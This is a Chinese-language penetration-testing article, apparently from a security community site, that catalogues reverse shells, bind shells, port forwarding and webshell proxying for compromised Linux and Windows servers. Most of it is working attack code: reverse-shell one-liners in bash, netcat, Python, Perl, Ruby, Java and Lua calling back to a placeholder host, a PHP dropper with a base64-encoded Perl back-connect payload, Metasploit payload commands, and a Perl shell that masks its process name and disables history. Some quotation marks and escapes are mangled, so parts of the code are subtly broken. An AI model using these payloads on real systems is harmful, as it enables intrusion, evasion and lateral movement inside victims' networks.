在做渗透测试时,遇到linux服务器,直观想到反弹shell到本地进行溢出等提权尝试,⽽而其中涉及到的反弹/转发/代理的种种方式,就在此文做一简单小结.
1) Bash
部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口
1
|
bash -i >& /dev/tcp/x.x.x.x/2333 0>&1
|
2) NetCat
Netcat反弹shell也是常用兵器,经典命令参数-e
1
|
nc -e /bin/sh x.x.x.x 2333
|
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
1
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f
|
或者本地监听两个端口,通过管道,一处输入,一处输出
1
|
nc x.x.x.x 2333|/bin/sh|nc x.x.x.x 2444
|
其他方式基本沿用以上思路,如将nc更换为telnet等
1
|
mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe
|
3) PHP
PHP环境下反弹shell,过去我们通常用phpspy等shell自带反弹即可,这里将其反弹部分代码提取出来,访问即可反弹到指定IP端口一个普通交互shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
<?php
function which($pr) {
$path = execute(“which $pr”);
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = ”;
if ($cfe) {
if(function_exists(‘exec’)) {
@exec($cfe,$res);
$res = join(“/n”,$res);
} elseif(function_exists(‘shell_exec’)) {
$res = @shell_exec($cfe);
} elseif(function_exists(‘system’)) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists(‘passthru’)) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,“r”))) {
$res = ”;
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,‘w’)) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = “x.x.x.x”;
$yourport = “2333″;
$usedb = array(‘perl’=>‘perl’,‘c’=>‘c’);
$back_connect=“IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj”.
“aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR”.
“hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT”.
“sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI”.
“kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi”.
“KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl”.
“OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==”;
cf(‘/tmp/.bc’,$back_connect);
$res = execute(which(‘perl’).” /tmp/.bc $yourip $yourport &”);
?>
|
访问,成功返回
但需要注意php需未禁用exec函数.另外,Metasploit的payload也提供各种反弹脚本,如
1
|
msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php
|
生成文件内容像这样
将文件传入shell中,在msf中开一个handler
1
2
3
4
5
|
msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/reverse_php
msf exploit(handler) > set LHOST x.x.x.x
msf exploit(handler) > set LPORT 2333
msf exploit(handler) > exploit
|
此时访问re.php,即可反弹到本地一个shell
当然,用nc直接监听端口也是可以的
其他可以考虑使用msf编码变形等,github也有这样一个脚本 https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php 可供参考
4) JSP
JSP类似,使用msf生成一个反弹shell
1
|
msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp
|
然后在msf中开一个handler
1
2
3
4
|
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
msf exploit(handler) > exploit
|
类似方法即可反弹回shell
5) Python
一个Python反弹shell的代码demo
1
2
3
|
python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“x.x.x.x”,2333));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
|
整洁规范的Python写法应该像是这样,更易懂些:
1
2
3
4
5
6
7
|
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“x.x.x.x”,2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([“/bin/sh”,“-i”]);
|
其他脚本像这样子
1
2
3
|
python -c “exec(/”import socket, subprocess;s = socket.socket();s.connect((‘x.x.x.x’,2333))/nwhile 1: proc =
subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())/”)”
|
msf的payload给出这样的解法
1
|
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333
|
生成编码后文件:
1
2
3
|
import base64;
exec(base64.b64decode(‘aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMC4wLjAuMCcsMjMzMykpCmw9c3RydWN0
LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YoNDA5NikKd2hpbGUgbGVuKGQpIT1sOgoJZCs9cy5yZWN2KDQwOTYpCmV4ZWMoZCx7J3MnOnN9KQo=’))
|
Base64解码后:
1
2
3
4
5
6
7
8
|
import socket,struct
s=socket.socket(2,1)
s.connect((‘x.x.x.x’,2333))
l=struct.unpack(‘>I’,s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
d+=s.recv(4096)
exec(d,{‘s’:s})
|
此处补充上phith0n同学的正向连接bind_shell
关于交互式正向连接shell,⼏几点需要注意的地⽅方
1.不管在linux还是windows下,想要做到交互式,只能开启⼀一个shell.不能够每次接收到命令就再开启⼀一个shell进程,然后执⾏行.
2.windows下cmd.exe /K参数是保持cmd不结束,/c参数是执⾏行完后就结束,注意区别.
最终Win版本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from socket import *
import subprocess
import os, threading
def send(talk, proc):
import time
while True:
msg = proc.stdout.readline()
talk.send(msg)
if __name__ == “__main__”:
server=socket(AF_INET,SOCK_STREAM)
server.bind((’0.0.0.0′,23333))
server.listen(5)
print ‘waiting for connect’
talk, addr = server.accept()
print ‘connect from’,addr
proc = subprocess.Popen(‘cmd.exe /K’, stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
t = threading.Thread(target = send, args = (talk, proc))
t.setDaemon(True)
t.start()
while True:
cmd=talk.recv(1024)
proc.stdin.write(cmd)
proc.stdin.flush()
server.close()
|
Linux版本:
1
2
3
4
5
6
7
8
9
10
11
|
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == “__main__”:
server=socket(AF_INET,SOCK_STREAM)
server.bind((’0.0.0.0′,11))
server.listen(5)
print ‘waiting for connect’
talk, addr = server.accept()
print ‘connect from’,addr
proc = subprocess.Popen([“/bin/sh”,“-i”],stdin=talk,stdout=talk, stderr=talk, shell=True)
|
执行后主动连接即可
首先给一个原理类似的脚本
1
2
3
|
perl -e ‘use
Socket;$i=”x.x.x,x”;$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
|
然后是一个不依赖调用/bin/bash的方法
1
2
|
perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”x.x.x.x:4444″);STDIN->fdopen($c,r);$~-
>fdopen($c,w);system$_ while<>;’
|
一个完整的反弹pl脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
#!/usr/bin/perl -w
# perl-reverse-shell – A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = “1.0″;
# Where to send the reverse shell. Change these.
my $ip = ‘x.x.x.x’;
my $port = 2333;
# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127/.0/.0/.1$);
# Declarations
my $global_page = “”;
my $fake_process_name = “/usr/sbin/apache”;
# Change the process name to be less conspicious
$0 = “[httpd]“;
# Authenticate based on source IP address if required
if (defined($ENV{‘REMOTE_ADDR’})) {
cgiprint(“Browser IP address appears to be: $ENV{‘REMOTE_ADDR’}”);
if ($auth) {
unless ($ENV{‘REMOTE_ADDR’} =~ $authorised_client_pattern) {
cgiprint(“ERROR: Your client isn’t authorised to view this page”);
cgiexit();
}
}
} elsif ($auth) {
cgiprint(“ERROR: Authentication is enabled, but I couldn’t determine your IP address. Denying access”);
cgiexit(0);
}
# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}
setsid();
chdir(‘/’);
umask(0);
}
# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname(‘tcp’));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint(“Sent reverse shell to $ip:$port”);
cgiprintpage();
} else {
cgiprint(“Couldn’t open reverse shell to $ip:$port: $!”);
cgiexit();
}
# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, “>&SOCK”);
open(STDOUT,“>&SOCK”);
open(STDERR,“>&SOCK”);
$ENV{‘HISTFILE’} = ‘/dev/null’;
system(“w;uname -a;id;pwd”);
exec({“/bin/sh”} ($fake_process_name, “-i”));
# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= “<p>/n”;
$global_page .= $line;
}
# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don’t give a 500 response.
}
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print “Content-Length: “ . length($global_page) . “/r
Connection: close/r
Content-Type: text//html/r/n/r/n” . $global_page;
}
|
ASP环境下调用perlscript执行方式
1
|
<%@Language=PerlScript%>
|
#表明ASP脚本使⽤用语⾔言为Perlscript
1
2
3
4
5
6
|
<%
system(“c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443″);
#⽤用system函数执⾏行命令的⽅方式
#exec(“c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443″);
#⽤用exec函数执⾏行命令的⽅方式
%>
|
7) Ruby
惯例,首先一个调用/bin/sh的
1
|
ruby -rsocket -e‘f=TCPSocket.open(“x.x.x.x”,2333).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
|
一个不依赖于/bin/sh的反弹shell:
1
|
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“x.x.x.x”,”2333″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
|
Windows环境使用
1
|
ruby -rsocket -e ‘c=TCPSocket.new(“x.x.x.x”,”4444″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
|
此外MSF中也有相应模块可以调用,就不多提
8) Java
给出一个调用/bin/bash的脚本
1
2
3
|
r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,“-c”,“exec 5<>/dev/tcp/x.x.x.x/2333;cat <&5 | while read line; do /$line 2>&5 >&5; done”] as String[])
p.waitFor()
|
MSF中也有相应模块可以调用
9) Lua
1
|
lua -e “require(‘socket’);require(‘os’);t=socket.tcp();t:connect(‘x.x.x.x’,’2333′);os.execute(‘/bin/sh -i <&3 >&3 2>&3′);”
|
类似不做解释
上面总结反弹shell的各种已知主流或非主流方式,下面扯一下端口转发. 已知的大众方式如:
lcx老牌工具
htran/fport/fpipe等
antifw修改3389端口为80
reduh提供了借助http/https隧道连接3389的另一种方式
tunna给出了比reduh更稳定快速的解决方法
在Linux环境下,则可考虑借助脚本实现,如Perl/Python等. 知道创宇Knownsec曾给出一个rtcp.py脚本做转发之用,不过测试发现只支持单点连接,推荐使用此
脚本,支持多client同时连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import socket
import threading
import logging
import optparse
class PipeThread(threading.Thread):
def __init__(self, source_fd, target_fd):
super(PipeThread, self).__init__()
self.logger = logging.getLogger(‘PipeThread’)
self.source_fd = source_fd
self.target_fd = target_fd
self.source_addr = self.source_fd.getpeername()
self.target_addr = self.target_fd.getpeername()
def run(self):
while True:
try:
data = self.source_fd.recv(4096)
if len(data) > 0:
self.logger.debug(‘read %04i from %s:%d’, len(data),
self.source_addr[0], self.source_addr[1])
sent = self.target_fd.send(data)
self.logger.debug(‘write %04i to %s:%d’, sent,
self.target_addr[0], self.target_addr[1])
else:
break
except socket.error:
break
self.logger.debug(‘connection %s:%d is closed.’, self.source_addr[0],
self.source_addr[1])
self.logger.debug(‘connection %s:%d is closed.’, self.target_addr[0],
self.target_addr[1])
self.source_fd.close()
self.target_fd.close()
class Forwarder(object):
def __init__(self, ip, port, remoteip, remoteport, backlog=5):
self.remoteip = remoteip
self.remoteport = remoteport
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((ip, port))
self.sock.listen(backlog)
def run(self):
while True:
client_fd, client_addr = self.sock.accept()
target_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target_fd.connect((self.remoteip, self.remoteport))
threads = [
PipeThread(client_fd, target_fd),
PipeThread(target_fd, client_fd)
]
for t in threads:
t.setDaemon(True)
t.start()
def __del__(self):
self.sock.close()
if __name__ == ‘__main__’:
parser = optparse.OptionParser()
parser.add_option(
‘-l’, ‘–local-ip’, dest=‘local_ip’,
help=‘Local IP address to bind to’)
parser.add_option(
‘-p’, ‘–local-port’,
type=‘int’, dest=‘local_port’,
help=‘Local port to bind to’)
parser.add_option(
‘-r’, ‘–remote-ip’, dest=‘remote_ip’,
help=‘Local IP address to bind to’)
parser.add_option(
‘-P’, ‘–remote-port’,
type=‘int’, dest=‘remote_port’,
help=‘Remote port to bind to’)
parser.add_option(
‘-v’, ‘–verbose’,
action=‘store_true’, dest=‘verbose’,
help=‘verbose’)
opts, args = parser.parse_args()
if len(sys.argv) == 1 or len(args) > 0:
parser.print_help()
exit()
if not (opts.local_ip and opts.local_port and opts.remote_ip and opts.remote_port):
parser.print_help()
exit()
if opts.verbose:
log_level = logging.DEBUG
else:
log_level = logging.CRITICAL
logging.basicConfig(level=log_level, format=‘%(name)-11s: %(message)s’)
forwarder = Forwarder(opts.local_ip, opts.local_port, opts.remote_ip, opts.remote_port)
try:
forwarder.run()
except KeyboardInterrupt:
print ‘quit’
exit()
|
使用方式如
1
|
python xxx.py -l 0.0.0.0 -p 3389 -r x.x.x.x -P 443
|
至于Perl脚本,网络中也有相关资料,大家可自行修改使用.
此外,推荐可结合msf加以免杀使用的tunna 具体使用方式细节不再介绍.
如果对目标服务器已获得较高权限,可添加vpn或socks代理,ringzero@557.im写的 一个可用socks.py脚本可以更易的完成socks代理添加 使用方式如:
1
|
nohup python s5.py 1080 &
|
只有Webshell的情况下,又需要对内网某web服务进行访问测试,但没有充足的精力手工借助webshell进行请求,需要将这一过程自动化,xsjswt给出这样一种
思路.
将如下脚本以shell权限丢至服务器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
<?php
if(!isset($_GET[‘url’])){
exit(0);
}
$ch = curl_init();
$url=$_GET[‘url’];
if(strstr($url,‘?’)){
$url.=‘&’;
}
else{
$url.=‘?’;
}
unset($_GET[‘url’]);
foreach($_GET as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$url=$url.‘&’.$Key.‘=’.urlencode($Val);
}
$cookie=”;
foreach($_COOKIE as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$cookie=$cookie.$Key.‘=’.urlencode($Val).‘; ‘;
}
if($_SERVER[‘REQUEST_METHOD’]==“POST”){
curl_setopt($ch, CURLOPT_POST, 1);
$post_data=”;
foreach($_POST as $Key=>$Val){
if(get_magic_quotes_gpc()){
$Val=stripslashes($Val);
}
$post_data=$post_data.‘&’.$Key.‘=’.urlencode($Val);
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER[‘HTTP_USER_AGENT’]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if(isset($_SERVER[‘HTTP_REFERER’])){
curl_setopt($ch, CURLOPT_REFERER, $_SERVER[‘HTTP_REFERER’]);
}
$Response=curl_exec($ch);
if(!$Response){
curl_close($ch);
exit(0);
}
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Headers=split(“/r/n”,$Header);
foreach($Headers as $ThusHead){
if($ThusHead == ‘Transfer-Encoding: chunked’ || strstr($ThusHead,‘Content-Length’)!==false){
continue;
}
header($ThusHead,FALSE);
}
echo $Body;
curl_close($ch);
?>
|
另搭建一nginx服务器,添加如下配置
1
2
3
4
5
6
7
|
server {
listen 监听端⼝口;
location ~ () {
proxy_pass http://shell-ip/文件存放目录/proxy.php?url=http://$host/$request_uri;
proxy_set_header Host “访问webshell所用域名”;
}
}
|
重新加载nginx配置,本地浏览器http代理设置为nginx服务器ip及监听端口,即可实现初步的代理请求.
仅总结常见手法/工具/脚本并加以测试,如各位实战中有奇葩的环境/更有趣的思路/手法,望不吝赐教.
[1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
[2] http://www.leavesongs.com/PYTHON/python-shell-backdoor.html
[3] http://www.waitalone.cn/linux-shell-rebound-under-way.html
[4] http://tool.p1ng.pw/getshell.html
[5] 互联网其他相关资料
赏金发放情况:本文获得150RMB,已于6.13日发放到作者账号。
征稿启事:91RI 一直相信“你不与人分享,谁与你分享”, 分享的确是件非常有意义的事情。为了让优秀的同学有 地方分享自己的独到见解,也为了让更多同学从分享中受益,同时我们也希望给那些愿意分享的小伙伴们一点点心意作为感谢,所以我们隆重了推出“有奖征文”活动!本次活动的详情可以围观《征稿启事》
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号